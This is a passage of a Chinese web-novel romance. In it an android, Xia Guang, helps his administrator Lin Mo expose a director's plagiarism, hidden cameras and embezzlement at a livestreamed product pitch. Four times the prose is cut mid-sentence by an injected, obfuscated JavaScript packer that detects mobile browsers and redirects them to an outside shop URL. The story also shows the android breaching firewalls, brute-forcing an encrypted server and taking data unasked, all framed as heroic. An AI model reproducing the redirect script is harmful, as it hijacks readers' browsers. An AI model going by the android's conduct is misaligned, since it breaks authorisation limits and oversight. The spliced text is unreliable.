夏光停在了原地,眼底的光圈闪烁着蓝光,“协议书写的时候,并没有提到这一条吧。” “我……”林陌终于意识到,他在笑,对面的仿生人在戏弄自己,她林陌自作聪明挖了个坑,没想到最后跳下去的是自己。 “行行行,我求你了哥,你帮我查一下吧。” 夏光直起身子,压迫感稍稍退去,但空气中依旧弥漫着说不清道不明的燥热。 “哥?”夏光重复了一遍这个称呼,眼里有某种林陌看不懂的情绪,“管理员小姐,你对男朋友的代称还真是丰富多变。” 他不再言语,而是闭上双眼,片刻之后,林陌的终端发出清脆的消息提示音。 “查到了。” 夏光微微附身,胸腔微弱地起伏着,却并没有和真人一样的呼吸。 “亲我这件事,我先记下了。下一次,可就要讨利息了。” 林陌的脸霎时间变得通红。 故意的,这AI绝对故意的! 他明明面无表情,拽的和别人都欠他钱一样,语气也像在念天气预报,可偏偏听着,就有种不明不白的撩拨感。 林陌有些慌乱地看向屏幕,试图用工作转移注意力,却怎么也压不下心头那荒谬的念头—— 刚才那会,他好像真的想吻下来。 “别虐待电脑了,word被你这样玩也挺累的。专注不了工作的话,不如先看看我发给你的内容,经过加密处理了,网络管理员这会估计在打盹,没空监视。”夏光扯了扯嘴角,一副“我早就看穿你了”的表情,“我先出去走走,你自便。” “等等等等……”林陌口不择言,“你先在公司充电,休眠,别出去,以后都这样。” “好吧。”夏光没有反驳,“出于对电压稳定度的考量,我就在公司充电吧。” 林陌松了口气,她偷偷看着他走进充电区,脊背轻轻靠上磁吸背板。清脆的‘咔哒’锁定声后,夏光修长的颈部微微向后仰去,彻底闭上了双眼。 她收回目光,点开刚刚终端上接受到的文件,第一行便是结论: “戴安成提交的方案与系统被删除文件重合度极高。” 下面的内容,大部分都是代码的核心算法,夏光为了方便她取证,居然把代码都复制粘贴过来了。 林陌看到一半,鼠标滚轮停住了。 屏幕上这份署名为“戴安成”的核心算法文档里,第42行,有一个很不起眼的注释—— “此处尚有待修改:)。” 林陌实在无法把用这个符号表情的人,和戴安成联系在一起;唯一的可能,就是戴安成抄袭并剽窃了别人的劳动成果。 她翻到文档末尾的“责任归属”一栏,赫然写着程雨的名字,并且写着对严重的逻辑漏洞和可能导致服务器宕机的风险模块负责。 林陌的心脏猛地沉了下去。 难道说,程雨在戴安成组里被这样针对,都是因为戴葡萄鸠占鹊巢? 功劳全占,黑锅全甩。 把老实人的心血吃干抹净,还要踩着人家的尸骸往上爬。 林陌继续往下翻找着,却突兀地看到了几行批注。 【批注者:Xia_Guang】【内容:这种级别的移花接木,属于随地大小便。太不讲卫生了。】 林陌一愣,下意识回头看了一眼墙角的夏光。他依旧闭着眼,连睫毛都没颤一下。 她继续往下翻着文档。 【批注者:Xia_Guang】【内容:此处代码风格突变,变量命名法则从驼峰式变成了下划线式,甚至懒得统一格式。蠢。】 【批注者:Xia_Guang】【内容:检测到被物理删除的底层日志。戴总监在服务器上的操作痕迹虽然擦除了,但他忘了本地缓存。需要我复原吗?Y/N?】 看着满屏犀利的吐槽,林陌原本积压在胸口的郁气竟然散了大半。她看着那个闪烁的“Y/N”,忍不住笑出了声:“还真是一个有情有义的仿生人啊。” 说着,敲下代表“Yes”的Y。 结合程雨的代码被删,她心里已有90%的把握,估计戴安成就是窃取了程雨的代码,占为己有。 组长窃取组员的成果,在开发过程中并不算罕见,甚至林陌都有些习以为常了。 说不定,戴安成从一个PM跨到审计部门当总监,也有这份成果的帮助。 林陌转过椅子,看向墙角还在装睡的仿生人。 “喂,夏光。” 夏光依旧闭着眼,但嘴唇微动,发出一声慵懒的鼻音:“嗯?” “你这样做,没有违反机器人三定律吗?”她觉得好笑,按照系统设定的底层逻辑流程,夏光绝无可能关机,甚至肯定还将她的自言自语听进去了,“怎么调取数据的时候,还要写批注骂人?” 夏光缓缓睁开眼,偏过头,看着林陌,嘴角勾起一抹似笑非笑的弧度。 “第一,我不是普通的机器人。” “第二,以管理员的指令为优先,是最高优先级的指令。” 他顿了顿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060490|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从充电桩上站起身来,走向林陌,直视着林陌因为生气而格外明亮的眼睛,声音温柔了些许: “这些烂人,干扰了管理员最宝贵的思考时间,造成了情绪损害,是不被我的底层逻辑允许的。” 林陌愣了愣,一直以来刻意回避夏光视线的她,终于忍不住看向夏光的眼睛。 那双瞳孔澄澈而纯粹,映照的,都是她自己的倒影。 ——其实AI这种存在,是学习并模仿使用者的习惯,和使用者相处的。 林陌不知怎的,想起了这句话,心跳漏了一拍,刚想说什么,夏光却先一步收回了那极具侵略性的姿态。 他转过身,故意回避林陌的视线,声音也恢复了欠揍的冷淡,“调情结束,现在是工作时间。建议你先看看这个文件夹的原始创建者。” 林陌被他这变脸速度弄得一噎,但目光接触到屏幕的瞬间,神色也不由得凝重了起来。 数据恢复出的原始文档里,核心节点的创建者ID,是一个完全陌生的名字——“叶薇”。 “叶薇?”林陌咀嚼着这个名字,“夏光,你能从人力资源系统中找到她的档案吗?我知道他们当时接数据库的时候犯懒了,你这肯定有同步的没有删掉的信息。” “确实,你很敏锐。”夏光赞许地点点头,“叶薇是一年前入职的应届生,在戴安成手下工作了八个月。那段时间,正好戴安成升任总监的关键期。根据人事变动记录,叶薇在项目上线的第二天离职。虽然档案里写的是‘个人原因’,但我检索到了她在社交平台的小号。” 林陌打开终端上夏光发给自己的截图,一张张blog在她眼前翻过,就好像短暂遍历了一个人的人生。 从最开始充满干劲的“为了梦想”,到后来的“leader好恶心”、“我不想再上班了”,再到最后一条——确诊重度抑郁的诊断书,以及一句绝望的“我不想再编程了”。 在那之后,这个ID彻底沉寂,消失在了互联网的洪流中。 一股寒意顺着脊背爬上林陌的天灵盖,紧接着,是烧得她五脏六腑都生疼的怒火。 那年的“明日之星”奖项,是自己的。 尽管知道戴安成肯定以此为要挟,和上级达成了什么交易,才混到了审计部门。 但她不由得会想——如果她不是那年的“明日之星”,叶薇的下场会不会更好一些? “我知道你在想什么。”夏光叹气,“我劝你不要这么想,别人的错误,不要从自己身上找归因。” 林陌攥紧了拳头,指甲几乎嵌进肉里,“他这次逼程雨签字,是想故技重施?” “大概率是。贪婪是人类无法修补的BUG,只会随着时间无限膨胀。” 夏光一边说着,一边快速在视窗中浏览大量数据流,“另外,在他那个加密盘的角落里,还有个有趣的东西。三年前的一笔物资审批单,采购了原本不需要的……” “先不管!陈年烂账就算查出来,公司顶多算他个职务疏忽。”林陌打断了他,眼底燃烧着前所未有的战意,“我现在就要整死戴安成,让他身败名裂!叶薇没能发出来的声,我帮她发;程雨受的委屈,我帮她讨!” 夏光看着林陌气得发抖却依然坚定的背影,眼底的光圈闪过一丝红光,随后恢复了平静的蓝色。 “如你所愿,管理员小姐。” 15. 震惊!某高管竟在办公室私藏…… 夏光…… “鉴于资方对项目的高度关注,原本的内部评审取消。本周五,将改为全网直播的产品路演。” 工作邮件第一行,清脆有力,将林陌刚刚的壮志难酬扇了个惊天大耳光。 “请项目负责人林陌,务必携带亚当系列原型机(代号:夏光),在直播中完成【恋爱模拟测试】。需向资方展示,我们的AI仿生人比真人更懂得如何爱人。【注:此项考核直接挂钩绩效考核。】” 不是,说好的一个月呢?怎么提前到这周五了? 直播?全网?还要当众表演谈恋爱? 这哪是路演,分明是戴安成为了博眼球,要把林陌当猴耍! 一旦在直播过程中,出现任何一点瑕疵,或是夏光表现得不够“完美”,等待林陌的就不仅仅是离职,而是全行业、不,整个联邦的笑柄。 夏光听到工作邮件的响声,凑过来看了一眼屏幕,语气听不出喜怒,“恋爱模拟?他想看什么?我亲你吗?” 林陌冷笑一声,选择性无视了夏光那句调侃,眼中怒火有实质般。 “他想看戏,那我们就给他演一出大的。” 夏光即便是仿生人,也懂得趋利避害,但底层逻辑设计缺陷还是让他不由自主多嘴问了句:“什么戏?” “当然是——”林陌的眼中带着森然的绿光,“绝无仅有的人生大戏啊。” 夏光:“……” 他怎么有种不寒而栗的感觉? 所谓的“教学”,远比简单写写代码和Prompt更让人困难。 为了应付直播中可能出现的刁钻刁难,林陌决定给夏光特训,结束了前面不合理的排期和需求推进,周四总算有时间好好调试仿生人了。 “你现在最大的问题,不是不会撩人技巧,动作模组其实在架构的时候,就给你录入了;你的问题,是太油腻了,太刻意了;如何发自内心的表现,才是我们要矫正和调试的。” 会议室的百叶窗拉得严严实实,细碎的光照在两人的侧脸上,投下一片睫毛的阴影。 “手给我。”林陌命令道。 夏光乖顺地伸出手,掌心干燥温热,除了没有掌纹,触感与真人无异。 “直播的时候,牵手不能像现在这样,这叫握手,要十指相扣,力度要适中。”林陌一边说,一边示范性地将手指挤进他的指缝。 夏光的手臂关节僵硬了。 【系统警告:芯片温度异常升高,核心风扇转速增加。】 “放松点。”林陌皱眉,拍了拍他的小臂,“我是你的恋人,不是你的管理员。” “好。”夏光没有反驳什么,一向嘴毒挑剔的他,居然难得闭嘴了。 林陌没有在意这种小细节,继续说道,“接下来是拥抱和壁咚,戴安成那个老油腻男,最喜欢这种俗套的情节,我们必须演得自然。” “……要怎么做?” 林陌愣了愣,抬眼看向眼前的仿生人,亚麻色的头发依旧蓬松而凌乱,那双浅灰色的眼睛,却像一只可怜的溺水小狗,眼巴巴湿漉漉地,打量揣摩她的神情。 “你自己不是会吗。”不知出于什么心态,林陌推搡了面前的仿生人一把,嘀咕到,“你现在复现一下当时的那个动作?” 夏光伸出一只手,撑在林陌耳侧,将她圈在狭窄的领地里,微微低下头,另一只手捏着她的下巴,迫使她抬起头。 “这样吗?” “做得不错。”林陌心跳有点快,强撑着镇定,“还有一个最重要的,眼神。” 她背靠着墙壁,深吸一口气:“眼神要深情,要专注,要让别人觉得……你的全世界只有我一人。” 夏光依言照做,原本冷冰冰的电子眼眸里,此刻仿佛盛满了细碎的星光,屏蔽了周遭所有,视野只聚焦在林陌的脸上,甚至不自觉地,摩挲了一下林陌的下巴。 最怕空气突然安静。 林陌的耳根以肉眼可见的速度烧了起来。 她猛地推开夏光,慌乱地别过头,整理并没有乱的头发,声音发颤:“行、行了!及格了!保留这个参数,明天就这么演!” 戴安成带着两个助理,大摇大摆地闯进林陌的办公室,手里还拿着一份刚打印出来的直播流程表。 “哟,还在临时抱佛脚呢?”戴安成阴阳怪气地把流程表往桌上一甩,“林陌,别怪我没提醒你,明天的直播我约了联邦的顶尖主流媒体。既然这破机器主打‘情感陪伴’,到时候的采访环节,最好让它别当场死机。” 林陌冷冷地看着他:“不劳费心。倒是你,财务报表做平了吗?别到时候路演成功了,账却对不上。” 戴安成脸色一变,目光变得深沉起来,但嘴上依旧是那个尖酸刻薄的模样:“你就嘴硬吧。明天要是出一点岔子,你和那个破机器都得滚蛋!” 林陌只盯着他,一声不吭。 “除了要展示恋爱功能,”戴安成脸上挂着令人生理不适的油腻笑容,视线黏糊糊地在林陌的腰上停留了许久:“林经理,明天记得穿得‘职业’一点啊,资方也很喜欢‘知性高雅’的产品经理。” 林陌无视他话里话外的评判,强忍着胃里的翻腾:“戴安成,你无权干预其他员工的穿着。” “无权?”戴安成像是听到了什么笑话,凑近林陌,压低声音,喷出嘴里的烟臭,“林陌,你是不是忘了?不想干可以滚。” 说着,他向后退一步,忌惮地看了一眼旁边的夏光,对着身后的下属说道,“我们走,让林经理好好忙工作。” 几人离开后,夏光冷静地开口:“管理员小姐,刚刚我遵循你的指令,保持静止没有妄动,但如果这种情况再次发生,我会考虑采用非暴力手段制止。” “嗯,”林陌第一次没有反对夏光主动提出的校准意见,她长出一口气,再次抬头的时候,脸上已经挂满了笑容,“来吧,我们继续。” “好的,”夏光点了点头,将林陌圈进怀里。 “管理员小姐,看着我,什么都不用想。” 林陌看着那双平静的灰色眼睛,奇迹般地,戴安成带来的恶心和恐惧消散了。 “好。”话音最末了,变成了无意识的呢喃。 毫无预兆地,夏光停住了,他更近一步,几乎将林陌整个人罩在了怀里,用身体遮挡住身后的某个方向。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060491|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林陌愣了一下,这仿生人突然开窍了? 还没等她回过神来,就听见夏光在她耳畔小声低语道,“有摄像头,别乱动。” 林陌瞳孔剧震。 夏光的左手依然撑在墙上,他闭上双眼,神情认真,林陌无处可去,只能被迫看着他的俊脸,近在咫尺。 “就在这。”夏光终于确认,针孔摄像头被藏在了奖杯附近。“他在监视你。”他用只有两个人能听见的声音说道,“音视频实时传输。” 林陌的脸瞬间惨白,她下意识想推开夏光,却被夏光按住了手。 “管理员小姐,请你理智一点。”夏光的眼中依旧没有什么波澜,“既然有信号传输,就一定有接收端。只要戴安成通过公司网络搭建这个私人通道,我就有办法抓到他。” 他闭上双眼,反向追踪,开始。 夏光的意识潜入公司内部网络,穿过走廊,厚重的防火墙在他面前完全不受限制,本就诞生于此的他天然具备“钥匙”。他在数据云海中遍历着,搜寻可能存在的信息来源。 一道不起眼的黄色光芒一闪而过,不合规,偷偷摸摸寄生在公司信道中,夏光跟上那道诡异的踪迹。 【定位成功:审计与合规部门办公室-本地私有云】 【加密等级:高。】 【暴力破解倒计时:3秒】 【破解成功。】 看到数据库的瞬间,夏光恶心到机油都要吐出来了。 除了正在直播的林陌办公室画面,还有另外十几个画面:更衣室、茶水间、甚至还有某个女高管的办公室。 夏光的高算力不允许他浪费时间在揣测戴安成的意图上,但凡他开始分析,估计运行存贮就要被烧坏了。 他保存证据后,正打算后退,忽然想起了之前林陌无心吐槽的一句,“账记得做平”。 他搜寻记忆软体中存储的物资采购单,按照上面的关键字,反向在戴安成的本地服务器中搜寻着。 果然,不出他的意料,还真找到了几个可疑的Excel表。 夏光读取表格内容,很快发现这是一份双重账簿。真实的贪污流水,与为了应付审计做的假账,整整齐齐地摆在一起。 “呵。”仿生人嘲弄地笑了,眼睛里的光环也变为危险的红色,“抓到你了。” 现实里,夏光缓缓松开撑在墙上的手,退后半步,结束了这个漫长的壁咚。他看着惊魂未定的林陌,嘴角勾起一抹安抚的弧度,故意提高了音量说道: “林工,这次的壁咚练习,我觉得非常完美。你也累了,我们早点回去休息吧。” 林陌看着他,眼神询问:解决了吗? 夏光走到办公桌前,背对着摄像头,用身体挡住视线,迅速在林陌的电脑上敲下一行字: 【除了监控,还顺便拿到了他的账本。】 【明天直播,给他演一出“大戏”。】 “好。”林陌狡黠地笑了,“我们回家。” 夏光愣了愣,看着林陌蹦蹦跳跳的背影,后台日志更新出一条记录。 【记忆已更新:管理员小姐,有点可爱。】 16. 管理员小姐 林陌是被夏光叫醒的,冷静地看过时间后,她动用自己的小金库,难得奢侈地打了一次空中专车。 坐到梳妆台前,认真又冷漠地看着镜中的自己,严谨地上妆,注意不将口红涂出去。 脸庞逐渐褪去稚气和温吞,凌厉的冷艳随着眼影的笔触,渐渐染上她的眉眼。 换上标准的职业装,踩上12cm的红底高跟鞋,林陌气场全开。 她无需讨好谁。她本身,就是名利场上,最锋利的一把剑。 “走吧,”她示意夏光帮自己拿包,嘴角勾起一个全副武装的笑来。 “好戏,就要开场了。” …… 直播现场设在公司最大的多功能厅,此刻已经被长枪短炮围得水泄不通。快门声不绝于耳,但都是清醒而克制的。 宾客们手挽着手,高雅而又傲慢地走进路演会场,像踏入歌剧院的贵族。 “来了!他们来了!” 不知谁喊了一声,无数闪光灯立刻闪烁个不停,连成一片刺目的白昼,媒体们纷纷扭头,挤占可能出片的好位置。 电梯门缓缓滑开。 林陌踩着那双极具攻击性的细高跟,没有躲避镜头,而是微微抬起下巴,冷漠的目光扫过全场。 在她身后半步的位置,夏光一身铁灰色的高定西装,身姿挺拔如松。 【这就是仿生人项目的负责人?长得倒是挺好看,就不知道是不是花瓶。】 【听说今天的路演还邀请到了集团三公主,有好戏看了】 【那个男的是仿生人?看着跟真人没区别啊,不会是找演员演的吧?】 戴安成站在舞台中央,脸上堆满了虚伪的笑容。 “哎呀,林经理,你可算来了。”戴安成故意对着麦克风提高了音量,“全网的观众可都等急了,希望你的展示环节,不要让大家失望啊。” 话音刚落,不知从哪飞奔而出的狗精准地扑向了戴安成,“热情”地在他脸上涂了一脸的口水。 “呸呸呸……哪里来的臭狗……”戴安成狼狈地从地上爬起身,掏出精致的Hermes手帕,囫囵擦过那张虚胖又没有光泽的脸,看样子几天没睡好,下巴都冒出胡茬了。 林陌站在一旁,抄着手冷笑,“我带自己的项目产品参加路演,不行吗?这还是公司绩优项目。” “臭狗”正是她麾下第一大将,阿尔法。 这只原型机也是“老骥伏枥,志在千里”,今天不知道发什么疯,也要跟着出来遛遛。 台下的快门声更加疯狂了,闪光灯几乎要把戴安成涨成猪肝色的脸照得反光。 他眼里的阴鸷不再掩饰,虽然狼狈,但戴安成毕竟是混迹职场多年的老狐狸,立刻抓住了反击的把柄。 “林经理真是好雅兴,把公司严肃的路演当成了你的宠物秀场。”戴安成冷哼一声,转身面向媒体,语气咄咄逼人起来,“各位,这便是集团投资了3个亿的仿生人项目,林陌,林小姐,是这个项目的总负责人,你们媒体所有不懂的,都可以问她。” 明明正经介绍项目的说辞,却被他说得像宣战。 “戴总监过奖了。”林陌一笑,不予置评。 “还是说——”戴安成话锋一转,终于不打算演他那个斯文败类了,咄咄逼人地直视林陌,“林经理觉得靠着这张漂亮的脸蛋,和身后那个只有一副皮囊的所谓‘仿生人’,就能糊弄在座的专业投资人?” 他这话极具煽动性,底下的媒体瞬间嗅到了血腥味,长枪短炮立刻调转矛头,更加犀利地对准了林陌。 “林小姐,听说您工作经验不超过5年,请问您是如何服众的?” “有人质疑亚当系列只是噱头,从刚刚开始,您身后的原型机仿生人一直面无表情,请问他除了外观像人,还有别的地方像吗?” “你们的宣发旗号上写着‘亚当系列是跨时代的仿生人’,凭什么被称为‘跨时代’?目前展示内容似乎并没有体现这一点。” 闪光灯疯狂闪烁,甚至有记者直接把话筒怼到了林陌面前,差点戳到她的脸。 “林小姐,请回答!如果无法证明他与普通机器人的区别,这是否涉嫌欺诈融资?” 戴安成站在一旁,肥硕的脸上,嘴角挂着得逞的冷笑。 他就是要让林陌下不来台,让这个本就岌岌可危的项目彻底沦为笑柄。 林陌紧抿着红唇,背脊挺得笔直。 她正准备用背得滚瓜烂熟的公关话术回击,却突然感到一股不容忽视的气息,从侧后方压了过来。 是夏光。 他蹙着眉,坚定地走到林陌身前,用高大的身躯替她挡住了眩目的闪光灯。 全场莫名地安静了一瞬。 “有什么问题,等到正式路演的时候,你们再提问,现在的情况对管理员小姐不利。” 夏光顿了顿,微微抬起下颌,冷漠地吐字,“你们挡住我们的路了。” 人群安静下来,自动分开一条通道,夏光握着林陌的手,坚定地往前走去。 林陌愣了愣,回握他的手掌,没有和人类一样的纹路,温度却是源源不断的,恒定的,即便再冰凉的手,也会因持续不断的炙烤而温暖。 夏光的体温,如同他的名字一样,令人熨帖。 戴安成气得牙根发痒。他没想到,这个脑子“有病”的仿生人,几天不见,居然竟然有这么强的气场,仅仅几句话就镇住了那群如狼似虎的记者。 不行,绝不能让他们掌握路演的节奏! 林陌的项目是第二个演讲的。她调整好麦克风,身后巨大的屏幕亮起,简约的衬线风格,黑底白字,打出一行极具视觉冲击力的标题—— 《在新时代:定义新的爱》 她单手撑在演讲台上,身体微微前倾,像一位即将发布神谕的女王,视线根本没有向下看: “各位同僚,老板,媒体朋友们,下午好。” “我今天带来的路演项目,是‘亚当’以及‘阿尔法’系列。” “‘亚当’项目的核心,从来不是模仿人类的平庸,而是重构人类最渴望的东西——永不变心的忠诚,和排他性的欲望。” “普通人的爱会权衡利弊,会因为时间衰退。但亚当不会。” 林陌转头看向身边的夏光,“因为从他被唤醒的那一刻起,底层逻辑就只有一条——为管理员而生,至死方休。” “这,就是我们定义的‘跨时代’。” 话音刚落,戴安成就跳出来反驳了。 “林经理,你这机器刚刚确实护主心切,但这充其量只能说明他的安保程序写的好吧?” 还没等林陌反驳,他就站起身,向着台下的听众和媒体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060492|195052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道: “一个只会执行指令、没有任何私欲、不懂爱恨的冷冰冰的机器人,凭什么卖出天价?如果我现在命令他跪下,或者让他去死,他是不是也会照做?——仿生人根本就没有尊严,也没有所谓的‘人格’!” 二楼VIP包厢里,“三公主”蒋莉晃着酒杯的手微微一顿,“这胖子,话太多了。” “要帮您把他轰出去吗?”一旁的安保毕恭毕敬地低下头。 “都行。” 莉总既然发话,那下面的人也没有不遵循的道理。 “等等。”蒋莉目光都直了,她连连摆手,让安保停下:“先别轻举妄动。” 只见舞台中央,夏光垂下眼帘,原本泛着幽蓝光芒的瞳孔,似有金色的光芒一闪而过。他缓缓俯身,在无数双震惊的眼睛注视下,动作优雅而虔诚地—— 单膝跪地。 他用修长的、骨节分明的宽厚手掌,轻轻托起林陌的左手。 林陌微微一怔,低头撞进了那双始终无情的眸子里。 ——真的毫无感情吗? 她的心砰砰直跳,却一句话也说不出来。 夏光低下头,薄唇在她的手背上落下极其克制的一吻。 他抬起头,仰视着林陌,俊美得超凡脱俗的脸上,露出了一抹足以颠倒众生的笑意。 时间仿佛在这一刻凝固。 怎么办?林陌张了张嘴,却发现自己根本发出不了任何声音。 代码……逻辑谬误……仿生人伦理……一堆学术词汇在脑海里打转,她却无法组织出有效的话来。 夏光用只有两人才能听到的声音,轻声说道:“管理员小姐,你是不是忘了,这是‘表演’?” 说着,不顾脸还在烧着的林陌,他打开了领口的麦克风,仰视着林陌。 “指令说,不能对您产生感情,”夏光的声音清晰地回荡在整个大厅,带着一丝暗哑,“但没说,不能对您产生欲念。” “请问我可以行使男友的权利了吗?” “管理员小姐?” 暧昧的、纠缠不清的话语。 这一瞬间,空气仿佛被点燃了。 什么冷冰冰的程序?什么只有皮囊的机器? 观众只看到一个鲜活的、热忱表达爱意的青年。 戴安成的笑容彻底僵在脸上,路演直播间的弹幕在停滞了这一秒后,彻底炸了。 【卧槽!!!!我听到了什么?!男友权利???】 【这是我不花钱能看的吗?这哪里是机器人,这简直是行走的荷尔蒙啊啊啊!】 【“禁止感情但没禁止欲望”,这句太欲了!救命!我的氧气瓶呢!】 【磕死我了!这是什么忠犬骑士X高冷女王的剧本?三分钟,我要这个仿生人所有的链接!】 【那个老登脸都要被打肿了哈哈哈哈,人家哪里冷冰冰了?人家热着呢!】 现场的记者们像疯了一样按动快门,嘈杂的议论声响彻全场。 林陌看着面前的夏光,心脏不受控制地剧烈跳动起来。 她深吸一口气,调整好状态,反手握住了夏光的手,借力将他拉起。目光如刀锋般扫向呆若木鸡的戴安成,红唇轻启: “这就是我的回答。” “在这个世界上,没有比欲望更真实的交互了,不是吗?” 17. 被你利用,是我的荣幸 “吹,吹什么牛逼!”戴安成口齿不清道,“说的那么轻巧,谁知道你说的是不是真的?” 林陌冷笑一声,“我说的是不是真的,有那么重要吗?重要的是,戴总监,你的一步登天,是真的吗?” 话音落下瞬间,大屏幕上的PPT画面陡然一变。 原本唯美的概念图和Slogan消失,取而代之的,是一组触目惊心的调色盘。 左侧,是戴安成半年前风光无限,却未能夺魁“明日之星”的《项目创新提案》;右侧则是公司内部云端抓取的、一位已离职女下属早在八个月前提交的草稿记录与原始代码。 错综复杂的代码中,可疑的重合点都已经被归纳总结,用醒目的红色字体标在下方,像一张巨大的血色罗网,牢牢网住了戴安成。 全场一片哗然。 林陌的声音不大,却冷静残忍地穿透现场的嘈杂和议论声,“今天公司高层、各界投资人都在,如果不介意的话,我想请大家听一个故事。” 台下,程雨默默攥紧了拳头,眼中不甘的泪水打着转,却愣是没有流下来。 “曾经有一个女孩,她怀着憧憬加入公司,因为在学校的成绩优异,有机会能够加入重点项目。”林陌闭了闭眼,那一条条博客仿佛还烙在她的视网膜上,挥之不去,“她满腔热情,全部付诸于公司项目,没日没夜地加班工作,以为自己在为了梦想燃烧。” “领导很看好她,甚至多次单独留下她,就是为了‘辅导’她工作上不懂的问题。” 大荧幕画面跳转到一张博客的图片,打码了头像ID等隐私后,女孩的痛苦依旧有实质地传导给在座的每一个人。 戴安成“扑通”一声,向后坐进座位里,盯着林陌的眼中,发狠得能淬出毒来。 随着林陌的讲述,证据如多米诺骨牌般展开:戴安成通过后台权限篡改时间戳的记录、在聊天软件里威胁下属放弃署名权…… 一切肮脏的手段,此刻都被赤-裸裸地暴晒在聚光灯下。 屏幕正中央,特意放大加粗了一行戴安成发给对方的消息: 【你一个女孩子,要那么强的好胜心干什么?把机会让给我,以后少不了你的好处。】 【放心,跟着我,我把你当妹妹的。】 “这……这是伪造!这是AI合成的!” 戴安成额头冷汗顺着脸庞流下,浸透了昂贵的衬衫,他终于装不下去了,歇斯底里地冲向控制台,像一条真正的疯狗,“关掉!给我关掉!” 然而,没等他碰到电源,两名身材魁梧的黑衣安保就大步上前,像拎小鸡一样将他架了起来。 二楼的VIP包厢窗帘微动,女人戏谑地摇晃着红酒杯,品尝这出闹剧。 “放开我!林陌,你这个贱人,你竟敢算计我……” 林陌毫不理会,PPT切换到最后一页,也是最重要的一页。 “大家看,这笔账务,根本对不上,这是一个很经典的阴阳账面。” 林陌看着像死狗一样被拖行的戴安成,嘴角勾起一抹嘲讽,给出了最后一击: “比起算计,我更想请您向执行董事会解释一下,这三千万的项目资金缺口,究竟是怎么回事?” 戴安成的错愕僵在脸上。 “戴先生,鉴于您涉嫌职务侵占与学术造假,董事会刚刚下达指令,即刻解除您的一切职务。” 安保人员面无表情地扣紧了他的手腕:“跟我们去一趟法务部。请吧。” 闪光灯像疯了一样,追逐着戴安成狼狈被拖走的背影,各大媒体迅速同步现场新闻,直播间的弹幕瞬间爆炸,满屏都是“大快人心”和“姐姐杀我”。 林陌站在聚光灯下,长发微扬,神情淡漠如冰雪,却又美得惊心动魄。 经此一役,“亚当”项目,全网讨论度飙升榜一。 …… 半小时后,休息室。 厚重门扉隔绝了外界的沸反盈天,空气安静得只剩下中央空调细微的运作声。 林陌卸下了那股名为“强势”的伪装,有些虚脱地靠在化妆桌上。刚才在台上,肾上腺素飙升,所以没什么感觉,现在冷静下来,心脏却跳得比刚才还要快。 心悸倒不是因为刚才的“大杀四方”,而是因为…… 她抬起眼,视线落在不远处正在整理袖口的夏光身上。 拥有着完美皮囊的仿生人,此刻正垂着眼,修长的手指慢条斯理将精致的袖扣重新扣好。逆着光,铁灰色的西装勾勒出宽肩窄腰的好身材,侧脸的线条冷硬,轮廓却是柔软的,带着几分不自知的迷人。 方才那个吻手礼的触感,还残留在手背上,带着灼伤灵魂的幻觉。 “夏光……”林陌有些不自在地抿了抿唇,试图找回管理员的威严,“刚才亲手那个行为,我也没写进Prompt里——你的自我学习模块是不是越界了?” 夏光动作一顿,他没有任何解释,直接走近林陌。 强烈的压迫感瞬间袭来,林陌完全笼罩在他高大的阴影里,不得不仰起头,看着他。 “管理者小姐是指哪一句?” 夏光微微俯身,一手撑在林陌身侧的桌沿,将她圈禁在自己与桌沿的方寸之间,浅灰的眸子盯着林陌慌乱的神情,另一手捏住林陌的下巴,笑道: “是‘对您产生欲念’?还是……‘行使男友权利’?” 林陌呼吸一滞,脸颊不受控制地烧了起来。 太近了。 近到她甚至能闻见他身上冷冽的木质香味——那是她亲自挑选的,此刻却成了扰乱她心智的迷魂药。 “你别贫。”林陌别开脸,心跳如雷,依旧强撑着嘴硬,“我问你是不是演的。——你是为了配合路演效果才这样的,对吧?” 空气凝固了几秒,林陌紧咬着下唇,还是忍不住抬起眼,偷偷打量夏光的反应。 夏光没有说话,指腹轻轻摩挲着她下唇那一点被咬白的痕迹,眼底闪烁着复杂而危险的光。 他的脸,越来越近,林陌下意识地闭眼—— 咚咚,咚咚。 心跳的好快。 他是要亲我吗?可他是仿生人…… 仿生人,真的有自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 